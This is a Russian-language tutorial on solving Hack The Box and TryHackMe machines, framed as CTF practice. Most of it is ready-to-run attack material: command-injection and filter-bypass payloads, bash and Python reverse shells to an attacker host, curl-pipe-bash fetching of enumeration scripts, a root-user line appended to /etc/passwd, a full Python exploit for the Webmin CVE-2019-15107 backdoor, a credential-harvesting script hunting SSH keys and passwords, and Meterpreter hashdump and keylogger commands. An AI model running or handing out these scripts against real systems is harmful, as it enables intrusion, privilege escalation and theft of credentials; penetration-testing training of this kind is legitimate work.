
23
CTF-платформы типа Hack The Box и TryHackMe — это твой личный полигон для прокачки скиллов в эксплуатации и пост-эксплуатации . Они дают тебе реалистичные сценарии взлома без риска получить по шапке за реальный хакинг. Правильный подход к решению задач на этих платформах превратит тебя из новичка в профи.
Выбираем платформу под свой уровень
TryHackMe — отличный старт для новичков. Платформа даёт пошаговые инструкции, хинты и структурированные learning paths вроде “Pre Security” или “Jr Penetration Tester”. Здесь тебе не придётся тупить часами — есть встроенные подсказки и walkthrough’ы, которые помогают двигаться вперёд.
Hack The Box — для тех, кто готов к хардкору. Тут нет никакой мамкиной помощи — виртуальные машины (боксы) требуют самостоятельного пентеста с нуля. HTB Academy предлагает структурированные модули, но основная платформа — это челлендж-ориентированная среда для самомотивированных людей.
Комбинированный подход даёт максимальный эффект. Начни с THM для освоения базы (Linux, networking, основы эксплуатации), а затем переходи на HTB для оттачивания навыков на сложных боксах. Это классический путь — учись на guided labs, практикуйся на реалистичных challenge’ах.
Методология решения задач на эксплуатацию
Enumeration — фундамент всего . Без правильной разведки ты никуда не продвинешься.
|
1 2 3 4 5 6 7 8 9 10 11 |
# Сканируем все порты агрессивно nmap -sS -sV -sC -A -p- target_ip -oN full_scan.txt # Директорный брутфорс для web-сервисов gobuster dir -u http://target_ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Поиск поддоменов ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://target.htb -H "Host: FUZZ.target.htb" # Проверка известных уязвимостей searchsploit apache 2.4.49 |
После сканирования анализируй каждый открытый порт и сервис. Смотри версии софта, ищи CVE, проверяй дефолтные креды.
Exploit development или поиск готового эксплоита. Если нашёл уязвимую версию сервиса, проверь Exploit-DB и GitHub:
|
1 2 3 4 5 6 7 8 |
# Поиск в searchsploit searchsploit webmin 1.890 # Копируем эксплоит searchsploit -m 47230.py # Анализируем код перед запуском cat 47230.py | less |
Никогда не запускай эксплоит вслепую — читай код, понимай, что он делает. Модифицируй под свои нужды (IP, порты, payload).
RCE через command injection — частый вектор атаки. Если видишь web-форму с пингом, traceroute или другими системными утилитами, проверяй на инъекции:
|
1 2 3 4 5 6 7 8 9 10 |
# Простая проверка на command injection ; id | whoami `uname -a` $(cat /etc/passwd) # Если фильтры стоят, обходим ;i''d ;wh''oami $IFS$9cat$IFS$9/etc/passwd |
После подтверждения RCE получаем reverse shell:
|
1 2 3 4 5 6 7 8 |
# Bash reverse shell ; bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1' # Python reverse shell (если bash заблокирован) ; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # Listener на атакующей машине nc -lvnp 4444 |
Пост-эксплуатация: от user до root
Стабилизация шелла — первый шаг после получения доступа. Reverse shell обычно нестабилен и без TTY:
|
1 2 3 4 5 6 7 8 9 10 |
# Апгрейдим до интерактивного шелла python3 -c 'import pty;pty.spawn("/bin/bash")' # Жмём Ctrl+Z для фона # Потом в своём терминале stty raw -echo; fg # В шелле жертвы export TERM=xterm-256color stty rows 38 columns 116 |
Privilege escalation enumeration — автоматизируем рутину. Запускаем автоматические скрипты для сбора информации:
|
1 2 3 4 5 6 7 8 9 10 11 |
# LinPEAS для Linux wget http://attacker_ip:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh | tee linpeas_output.txt # WinPEAS для Windows certutil -urlcache -f http://attacker_ip:8000/winPEASx64.exe winpeas.exe .\winpeas.exe # LSE (Linux Smart Enumeration) curl http://attacker_ip:8000/lse.sh | bash |
Эти скрипты проверяют SUID файлы, sudo права, cronjobs, capabilities, writable /etc/passwd и другие векторы повышения привилегий.
Ручная проверка критичных векторов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# SUID binaries find / -perm -4000 -type f 2>/dev/null # Sudo права текущего пользователя sudo -l # Capabilities getcap -r / 2>/dev/null # Writable директории в PATH echo $PATH | tr ':' '\n' | xargs -I {} find {} -writable 2>/dev/null # Cronjobs всех пользователей cat /etc/crontab ls -la /etc/cron.* crontab -l |
Эксплуатация найденных уязвимостей. Например, если нашли SUID бинарник /usr/bin/find:
|
1 2 3 4 |
# GTFOBins — твой лучший друг # https://gtfobins.github.io/gtfobins/find/ find . -exec /bin/bash -p \; -quit |
Или эксплуатация writable /etc/passwd:
|
1 2 3 4 5 6 7 8 9 |
# Генерируем хеш пароля openssl passwd -1 -salt xyz hacked123 # Добавляем нового root пользователя echo 'hacker:$1$xyz$BsLfaXWfEgKEpJLy2dqMP.:0:0:root:/root:/bin/bash' >> /etc/passwd # Логинимся su hacker # Пароль: hacked123 |
Пример: разбор реального челленджа с RCE
Разберём классический TryHackMe бокс с Webmin RCE. Это реальный CVE-2019-15107 — backdoor в Webmin 1.890.
Reconnaissance
|
1 2 3 4 5 6 7 |
# Nmap сканирование nmap -sS -sV -sC -p- 10.10.10.13 -oN nmap.txt # Результат показывает: # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 7.4 # 10000/tcp open http MiniServ 1.890 (Webmin httpd) |
Видим Webmin 1.890 — это уязвимая версия.
Exploitation
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Ищем эксплоит searchsploit webmin 1.890 # Находим Metasploit module msfconsole msf6 > search webmin 1.890 msf6 > use exploit/unix/webapp/webmin_backdoor msf6 exploit(unix/webapp/webmin_backdoor) > set RHOSTS 10.10.10.13 msf6 exploit(unix/webapp/webmin_backdoor) > set LHOST tun0 msf6 exploit(unix/webapp/webmin_backdoor) > run [*] Started reverse TCP handler on 10.10.14.5:4444 [*] Sending payload... [*] Command shell session 1 opened |
Получили шелл с правами root (в этом конкретном случае backdoor даёт сразу root).
Альтернативный способ — ручной эксплоит
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
# webmin_rce.py import requests import urllib3 urllib3.disable_warnings() target = "https://10.10.10.13:10000" payload = "/password_change.cgi" # Command injection через параметр cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" data = { "user": "root", "pam": "", "expired": "2", "old": "|" + cmd, "new1": "test", "new2": "test" } # Отправляем exploit r = requests.post(target + payload, data=data, verify=False) print("[+] Exploit sent!") |
Запускаем listener и скрипт:
|
1 2 3 4 5 |
# Terminal 1 nc -lvnp 4444 # Terminal 2 python3 webmin_rce.py |
Автоматизация рутины: пишем свои скрипты
Автоматизация initial foothold экономит время на повторяющихся боксах. Вот универсальный разведочный скрипт:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
#!/bin/bash # auto_recon.sh TARGET=$1 OUTPUT_DIR="recon_$TARGET" mkdir -p $OUTPUT_DIR echo "[+] Starting recon for $TARGET" # Nmap echo "[*] Running nmap..." nmap -sS -sV -sC -p- $TARGET -oN $OUTPUT_DIR/nmap_full.txt & # Gobuster echo "[*] Running gobuster..." gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -o $OUTPUT_DIR/gobuster.txt -q & # Nikto echo "[*] Running nikto..." nikto -h $TARGET -output $OUTPUT_DIR/nikto.txt & wait echo "[+] Recon complete! Check $OUTPUT_DIR/" |
Автоматизация privilege escalation checks:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
# auto_privesc.py import subprocess import os def run_command(cmd): """Выполняет команду и возвращает вывод""" try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30) return result.stdout except: return "" def check_suid(): """Проверяет SUID бинарники""" print("[+] Checking SUID binaries...") suid_bins = run_command("find / -perm -4000 -type f 2>/dev/null") dangerous = ['nano', 'vim', 'find', 'nmap', 'bash', 'python', 'perl', 'ruby'] for line in suid_bins.split('\n'): for d in dangerous: if d in line: print(f"[!] DANGEROUS SUID: {line}") def check_sudo(): """Проверяет sudo права""" print("[+] Checking sudo permissions...") sudo_perms = run_command("sudo -l 2>/dev/null") print(sudo_perms) def check_writable(): """Проверяет writable файлы и директории""" print("[+] Checking writable /etc files...") writable = run_command("find /etc -writable -type f 2>/dev/null") print(writable) def check_capabilities(): """Проверяет capabilities""" print("[+] Checking capabilities...") caps = run_command("getcap -r / 2>/dev/null") print(caps) if __name__ == "__main__": print("=== Automated Privilege Escalation Check ===\n") check_suid() check_sudo() check_writable() check_capabilities() print("\n[+] Check complete!") |
Автоматизация credential harvesting:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#!/bin/bash # cred_hunter.sh echo "[+] Hunting for credentials..." # История команд echo "[*] Checking command history..." find /home -name ".bash_history" -exec cat {} \; 2>/dev/null | grep -E "pass|pwd|password" # Конфиги echo "[*] Checking config files..." find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -i "password" 2>/dev/null # SSH ключи echo "[*] Looking for SSH keys..." find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null # Database credentials echo "[*] Checking for DB credentials..." find / -name "*.php" -o -name "*.py" -o -name "*.rb" 2>/dev/null | xargs grep -E "mysql|postgres|mongodb" 2>/dev/null | grep -E "pass|password" # Environment variables echo "[*] Checking env variables..." env | grep -i pass |
Post-exploitation framework integration. После получения шелла апгрейд до Meterpreter даёт мощные возможности:
|
1 2 3 4 5 6 7 8 9 10 |
# В Metasploit после получения обычного шелла msf6 > use post/multi/manage/shell_to_meterpreter msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1 msf6 post(multi/manage/shell_to_meterpreter) > run # Теперь доступны Meterpreter команды meterpreter > hashdump meterpreter > screenshot meterpreter > keyscan_start meterpreter > run post/windows/gather/enum_logged_on_users |
Практические советы для максимальной прокачки
Делай detailed notes во время решения. Создай шаблон для каждого бокса:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Box Name: [название] IP: [target_ip] OS: [Linux/Windows] Difficulty: [Easy/Medium/Hard] ## Reconnaissance - Open ports: - Services: - Web directories: ## Exploitation - Vulnerability: - Exploit used: - Initial access method: ## Privilege Escalation - User flag location: - Privesc vector: - Root flag location: ## Key Learnings - |
Изучай write-up’ы других людей после решения. Сравнивай свой подход с альтернативными методами — часто есть несколько путей к root.
Участвуй в community платформ. Discord-серверы THM и HTB полны полезной информации, hints и обсуждений текущих боксов. Задавай вопросы, помогай новичкам — это закрепляет знания.
Создай собственную коллекцию эксплоитов. Организуй репозиторий со скриптами, payload’ами и cheatsheet’ами:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
exploits/ ├── web/ │ ├── sqli_payloads.txt │ ├── lfi_wrappers.txt │ └── xss_polyglots.txt ├── privilege_escalation/ │ ├── linux_privesc.sh │ ├── windows_privesc.ps1 │ └── gtfobins_commands.txt ├── reverse_shells/ │ ├── bash_shells.txt │ ├── python_shells.py │ └── powershell_shells.ps1 └── enumeration/ ├── auto_recon.sh └── linpeas.sh |
Тренируй specific навыки отдельно. Если слаб в Active Directory, пройди специализированный path на THM или HTB. Если западаешь на web-эксплуатации, фокусируйся на боксах с web-уязвимостями.
Вот и вся магия — методичность, практика, автоматизация рутины и постоянное обучение. Прокачивайся на CTF, документируй находки, автоматизируй повторяющиеся задачи и ты станешь настоящим профи в эксплуатации и пост-эксплуатации. Удачи на боксах!